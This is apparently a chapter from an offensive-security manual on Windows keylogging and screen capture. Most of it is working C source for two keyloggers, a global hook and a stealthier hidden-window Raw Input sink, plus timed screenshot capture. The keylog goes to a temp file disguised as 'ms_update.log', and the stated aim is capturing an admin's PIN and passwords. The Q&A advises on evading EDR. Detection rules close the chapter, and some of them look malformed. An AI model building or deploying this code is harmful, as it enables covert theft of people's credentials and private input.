Chapter 131

Keylogging and Screen Capture

Three keylogging architectures: global WH_KEYBOARD_LL hooks, Raw Input API polling, and VirtualKey state polling. GDI BitBlt full-screen capture and per-window targeted capture. Window-context tagging to log which application each keypress came from. Detection via Sysmon SetWindowsHookEx and GDI API monitoring.

Scenario

Browser creds are exhausted — the user authenticates to their privileged admin console with Windows Hello (PIN, biometric) so no password is saved anywhere. Their Okta session cookies expire hourly and refresh via the browser. The only way to capture the credentials is to intercept them at input time: keylogging captures the PIN when they unlock their workstation, and timed screenshots capture the screen contents during their active session. This is also the technique for capturing credentials entered into thick clients, VPN clients, and any application that doesn't use the Windows credential manager.

Keylogging Methods Comparison

MethodAdmin RequiredWorks Cross-ProcessDetection RiskMisses
Global WH_KEYBOARD_LL hookNoYes (system-wide)Medium — SetWindowsHookEx monitoredNothing in same session
WH_KEYBOARD (local) hookNoNo (target process only)LowerOther applications
Raw Input APINoYes (background receipt)Low — no hook registrationConsole-only apps (unless RIDEV_INPUTSINK)
VirtualKey polling (GetAsyncKeyState)NoYesLow — no hook APIFast keypresses if polling interval too slow
Driver-level (keyboard filter driver)Yes + code signingYes — all sessionsVery low at OS levelNothing on the machine

Global Keyboard Hook (WH_KEYBOARD_LL)

// Low-level keyboard hook: intercepts every key before it reaches any application.
// Must be installed from a message-pump thread (GetMessage loop).
// Hook DLL is NOT injected into target processes for LL hooks — callback runs in hooking process.

HHOOK g_hHook = NULL;
FILE* g_logFile = NULL;

LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
    if (nCode == HC_ACTION && (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN)) {
        KBDLLHOOKSTRUCT* kb = (KBDLLHOOKSTRUCT*)lParam;

        // Get name of focused window for context tagging
        HWND hFgWnd = GetForegroundWindow();
        char winTitle[256] = {0};
        GetWindowTextA(hFgWnd, winTitle, sizeof(winTitle));

        // Translate virtual key to character
        BYTE keyState[256];
        GetKeyboardState(keyState);
        char buf[8] = {0};
        int r = ToAscii(kb->vkCode, kb->scanCode, keyState, (WORD*)buf, 0);

        if (g_logFile) {
            if (r == 1) {
                fprintf(g_logFile, "%c", buf[0]);
            } else {
                // Special keys: VK_RETURN, VK_BACK, VK_TAB, etc.
                switch (kb->vkCode) {
                    case VK_RETURN:  fprintf(g_logFile, " [ENTER]\n[%s]\n", winTitle); break;
                    case VK_BACK:    fprintf(g_logFile, " [BS]"); break;
                    case VK_TAB:     fprintf(g_logFile, " [TAB]"); break;
                    case VK_LSHIFT: case VK_RSHIFT: break; // suppress
                    default: fprintf(g_logFile, "[VK%02X]", kb->vkCode); break;
                }
            }
            fflush(g_logFile);
        }
    }
    return CallNextHookEx(g_hHook, nCode, wParam, lParam);
}

DWORD WINAPI KeyloggerThread(void* arg) {
    char logPath[MAX_PATH];
    GetTempPathA(MAX_PATH, logPath);
    strcat(logPath, "\\ms_update.log");
    g_logFile = fopen(logPath, "a");

    g_hHook = SetWindowsHookExW(WH_KEYBOARD_LL, KeyboardProc, NULL, 0);
    if (!g_hHook) return 1;

    // Message pump required — LL hooks need a thread with a message queue
    MSG msg;
    while (GetMessageW(&msg, NULL, 0, 0)) {
        TranslateMessage(&msg);
        DispatchMessageW(&msg);
    }
    UnhookWindowsHookEx(g_hHook);
    fclose(g_logFile);
    return 0;
}

Raw Input API Keylogger (Stealthier)

// RegisterRawInputDevices: no hook API call — avoids SetWindowsHookEx detection.
// Window must exist and be registered, but can be hidden (CreateWindowExW with WS_EX_TOOLWINDOW).
// RIDEV_INPUTSINK: receive input even when window is not focused.

HWND g_hWnd = NULL;

BOOL SetupRawInput(HWND hWnd) {
    RAWINPUTDEVICE rid = {0};
    rid.usUsagePage = 0x01;     // HID_USAGE_PAGE_GENERIC
    rid.usUsage     = 0x06;     // HID_USAGE_GENERIC_KEYBOARD
    rid.dwFlags     = RIDEV_INPUTSINK; // receive even when not focused
    rid.hwndTarget  = hWnd;
    return RegisterRawInputDevices(&rid, 1, sizeof(rid));
}

LRESULT CALLBACK RawInputWndProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam) {
    if (msg == WM_INPUT) {
        UINT size = 0;
        GetRawInputData((HRAWINPUT)lParam, RID_INPUT, NULL, &size, sizeof(RAWINPUTHEADER));
        RAWINPUT* raw = (RAWINPUT*)malloc(size);
        GetRawInputData((HRAWINPUT)lParam, RID_INPUT, raw, &size, sizeof(RAWINPUTHEADER));

        if (raw->header.dwType == RIM_TYPEKEYBOARD) {
            RAWKEYBOARD* kb = &raw->data.keyboard;
            if (!(kb->Flags & RI_KEY_BREAK)) { // only key-down events
                BYTE ks[256]; GetKeyboardState(ks);
                char buf[8] = {0};
                ToAscii(kb->VKey, kb->MakeCode, ks, (WORD*)buf, 0);
                // Log buf[0] with timestamp + active window title
                LogKeypress(buf[0], kb->VKey);
            }
        }
        free(raw);
        return 0;
    }
    return DefWindowProcW(hWnd, msg, wParam, lParam);
}

DWORD WINAPI RawInputThread(void* arg) {
    WNDCLASSEXW wc = { .cbSize = sizeof(wc), .lpfnWndProc = RawInputWndProc,
                       .hInstance = GetModuleHandleW(NULL),
                       .lpszClassName = L"RawInputSink" };
    RegisterClassExW(&wc);
    g_hWnd = CreateWindowExW(WS_EX_TOOLWINDOW, L"RawInputSink", L"",
                               0, 0, 0, 0, 0, HWND_MESSAGE, NULL,
                               GetModuleHandleW(NULL), NULL);
    SetupRawInput(g_hWnd);
    MSG msg;
    while (GetMessageW(&msg, NULL, 0, 0)) {
        TranslateMessage(&msg); DispatchMessageW(&msg);
    }
    return 0;
}

GDI Screen Capture

// Full-screen screenshot via GDI BitBlt — captures current screen contents.
// Runs as current user, no admin needed.
// Saves to in-memory HBITMAP → convert to BMP → write to file or memory buffer.

BOOL CaptureScreen(const wchar_t* outPath) {
    int screenW = GetSystemMetrics(SM_CXVIRTUALSCREEN);
    int screenH = GetSystemMetrics(SM_CYVIRTUALSCREEN);
    int screenX = GetSystemMetrics(SM_XVIRTUALSCREEN);
    int screenY = GetSystemMetrics(SM_YVIRTUALSCREEN);

    HDC hdcScreen = GetDC(NULL);
    HDC hdcMem    = CreateCompatibleDC(hdcScreen);
    HBITMAP hBmp  = CreateCompatibleBitmap(hdcScreen, screenW, screenH);
    SelectObject(hdcMem, hBmp);
    BitBlt(hdcMem, 0, 0, screenW, screenH,
           hdcScreen, screenX, screenY, SRCCOPY | CAPTUREBLT);

    // Save as BMP file
    BITMAPINFOHEADER bih = {
        .biSize = sizeof(BITMAPINFOHEADER), .biWidth = screenW,
        .biHeight = -screenH, // negative = top-down
        .biPlanes = 1, .biBitCount = 24, .biCompression = BI_RGB
    };
    DWORD rowSize = ((screenW * 3 + 3) & ~3);
    DWORD pixelBytes = rowSize * screenH;

    BITMAPFILEHEADER bfh = {
        .bfType = 0x4D42, // 'BM'
        .bfSize = sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER) + pixelBytes,
        .bfOffBits = sizeof(BITMAPFILEHEADER) + sizeof(BITMAPINFOHEADER)
    };

    HANDLE hF = CreateFileW(outPath, GENERIC_WRITE, 0, NULL,
                              CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    DWORD w;
    WriteFile(hF, &bfh, sizeof(bfh), &w, NULL);
    WriteFile(hF, &bih, sizeof(bih), &w, NULL);

    BYTE* pixels = (BYTE*)malloc(pixelBytes);
    BITMAPINFO bi = {0}; bi.bmiHeader = bih;
    GetDIBits(hdcMem, hBmp, 0, screenH, pixels, &bi, DIB_RGB_COLORS);
    WriteFile(hF, pixels, pixelBytes, &w, NULL);
    free(pixels);
    CloseHandle(hF);
    DeleteObject(hBmp);
    DeleteDC(hdcMem);
    ReleaseDC(NULL, hdcScreen);
    return TRUE;
}

// Timed screenshot loop: capture every 30 seconds
DWORD WINAPI ScreenshotLoop(void* arg) {
    DWORD count = 0;
    while (1) {
        wchar_t path[MAX_PATH];
        swprintf(path, MAX_PATH, L"C:\\Temp\\scr_%04u.bmp", count++);
        CaptureScreen(path);
        Sleep(30000);
    }
    return 0;
}

Window Context Tagging for Keylog Parsing

// Tag keystrokes with the foreground window title + process name.
// Makes offline keylog analysis dramatically easier:
// shows which app each typed sequence came from.

BOOL GetForegroundContext(char* titleOut, char* procOut, DWORD bufLen) {
    HWND hFg = GetForegroundWindow();
    if (!hFg) return FALSE;

    GetWindowTextA(hFg, titleOut, bufLen);

    DWORD pid;
    GetWindowThreadProcessId(hFg, &pid);
    HANDLE hProc = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
    if (hProc) {
        QueryFullProcessImageNameA(hProc, 0, procOut, &bufLen);
        CloseHandle(hProc);
    }
    return TRUE;
}

// Log format (written to file):
// ============================================================
// [2026-09-13 08:42:11] WINDOW: "Okta - Sign In — Mozilla Firefox"
// PROCESS: C:\Program Files\Mozilla Firefox\firefox.exe
// ============================================================
// admin@corp.com[TAB]SecretPass123[ENTER]
// ============================================================
// [2026-09-13 08:42:55] WINDOW: "AWS Management Console"
// PROCESS: C:\Program Files\Google\Chrome\Application\chrome.exe
// ============================================================
// (screenshot saved: scr_0047.bmp)

Detection Engineering

-- Sigma: SetWindowsHookEx (WH_KEYBOARD_LL) global hook registration
title: Global Keyboard Hook Installed (Potential Keylogger)
logsource:
  product: windows
  category: process_creation
detection:
  -- Direct detection via API call monitoring (requires EDR API telemetry)
  -- Behavioral: unexpected process registering a global hook
  selection:
    EventID: 10    # Sysmon ProcessAccess — hook monitoring via WH_KEYBOARD_LL
    CallTrace|contains: 'user32.dll'
  condition: selection

-- MDE KQL: process accessing keyboard hook APIs
DeviceEvents
| where ActionType == "SetWindowsHookExApiCall"
| where AdditionalFields has "WH_KEYBOARD_LL"
| where InitiatingProcessFileName !in~ (
    "accessibility.exe", "magnify.exe",
    "osk.exe",            // on-screen keyboard
    "narrator.exe"        // screen reader
  )
| project Timestamp, DeviceName, InitiatingProcessFileName,
          InitiatingProcessCommandLine, AccountName

-- MDE KQL: screenshot files created rapidly (timed screenshotter)
DeviceFileEvents
| where FileName endswith ".bmp" or FileName endswith ".png"
| where FolderPath !contains "AppData"    // exclude browser cache
| summarize count=count(), fileNames=make_set(FileName, 10)
    by bin(Timestamp, 5m), DeviceName, InitiatingProcessFileName
| where count > 5    // more than 5 screenshots in 5 minutes
| order by count desc

-- Sigma: suspicious keylog output file
title: Keylogger Output File Written to Temp
logsource:
  product: windows
  category: file_event
detection:
  selection:
    TargetFilename|startswith:
      - 'C:\Windows\Temp\'
      - 'C:\Users\'
    TargetFilename|endswith:
      - '.log'
      - '.dat'
    Image|endswith|any:
      - '\rundll32.exe'
      - '\regsvr32.exe'
      - '\mshta.exe'
  condition: selection
level: medium

Q&A

Is the Raw Input API method actually stealthier than SetWindowsHookEx, and will modern EDRs miss it?

The Raw Input API approach avoids the specific API call SetWindowsHookEx, which is a well-known indicator that many EDR products explicitly monitor. However, "stealthier" is relative: the process still needs to create a window and call RegisterRawInputDevices with RIDEV_INPUTSINK — both of which can be monitored. Modern EDRs like CrowdStrike Falcon and SentinelOne use behavioral detection rather than pure API call matching. They track process behaviors in aggregate: a process that (1) creates a hidden message-only window, (2) registers for raw input across all sessions, and (3) writes data to a file in a temp directory — the combination of behaviors raises the behavioral score even without the specific API name matching. The Raw Input method is more resistant to signature-based rules but not to behavioral/ML-based EDR. Its practical advantage is against: older SIEM rules that specifically look for SetWindowsHookEx events, environments with Sysmon but no EDR (Sysmon has no default raw-input rule), and environments where EDR telemetry is focused on process injection rather than input monitoring. For a red team assessment, testing which specific APIs the target EDR instruments is more useful than assuming either method evades detection.